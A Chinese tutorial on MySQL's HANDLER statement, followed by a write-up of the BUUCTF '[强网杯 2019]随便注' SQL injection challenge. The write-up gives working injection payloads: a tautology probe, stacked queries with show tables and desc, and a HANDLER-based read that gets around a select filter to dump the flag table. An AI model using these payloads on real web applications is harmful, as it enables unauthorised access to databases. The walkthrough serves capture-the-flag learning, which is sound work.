目录
一、handler的用法
MYSQL官网介绍:https://dev.mysql.com/doc/refman/8.0/en/handler.html
1.前提介绍:
HANDLER 是一个比较低级的语句;
具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话).
HANDLER 语句提供了对表存储引擎接口的直接访问。
所有形式的 HANDLER... READ 默认获取一行(如果有的话)
2.命令介绍:
HANDLER tbl_name OPEN [ [AS] alias]
handler tablename open; /开启tablename表
hand tablename open as new_tablename; /追加tablename的表的别名为new_tablename(需要注意的是,此处不是修改,且只在当前会话内生效)
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ]
handler tablename read Keyname=('test001'); /读取tablename表的索引名为Keyname的值为test001的整行信息。(每张表都会默认有索引列)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ]
handler tablename read listname first; /读取tablename表的列名为listname的第一个值的整行信息。
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ]
handler tablename read first; /读取tablename表的第一行信息。
handler tablename read next; /读取tablename表的下一行信息。
handler tablename read first limit 0,2; /读取tablename表的前两行信息。
HANDLER tbl_name CLOSE
handler tablename close /退出handler会话(它于handler ... open是相对的)
PS:
handler的LIMIT语法与SELECT完全一致,所以,这里就不多做详解了。
如果在 open 语句打开表时,用了 as 指向了一个别名,则对带有其他 HANDLER 语句的打开表的进一步引用必须使用别名而不是表名。 如果不使用别名,而是使用由数据库名称限定的表名称打开表,则进一步的引用必须使用未限定的表名称。
例如,现在已知一张表名为tablename:
handler tablename open;
handler tablename read frist;
handler tablename close;
或者:
handler tablename open as test;
handler test read frist;
handler test close;
<<<<<<<<<<<<<<<<<<<<<<<<<<<<完毕>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
二、buuctf:[强网杯 2019]随便注
题目详解
url:BUUCTF在线评测
1、前提侦测:
打开首页:
页面代码看不出任何东西,我们点击一下提交,
返回了一个数组,根据题目提示,和传参方式,我们可以试着用get注入
1' or 'a' = 'a
1'%20or%20'a'%20=%20'a
可以确定,是存在get注入漏洞的,
2、常规注入
那么我们就可以按照常规思路去试一下:
-1' union select 1,database()--+
-1%27%20union%20select%201,database()--+
报错了,而且过滤起来很严格。 万幸的是,它并没有过滤handler语句。
用handler语句代替select,这样就要换个方式了,因为两个语句的查询方式并不一致:
先看一下同目录下有多少张表:
1';show tables;--+
两张表 "1919810931114514" 和 "words"
表格式:
1';desc words;--+
-1'%20;desc%20`1919810931114514`;--+
3、得出结论
很明显的falg在 1919810931114514表内。
而且还能推出另外一点:words表有两列,分别是id和data。我们之前提交1' or 'a' = 'a获得的表信息很大可能就是该表的信息。1就应该是id的值。
下面就是验证:为了避免flag信息不在第一行,我们一次查看多一点:
-1';handler `1919810931114514` open;handler `1919810931114514` read first limit 0,10;handler `1919810931114514` close;--+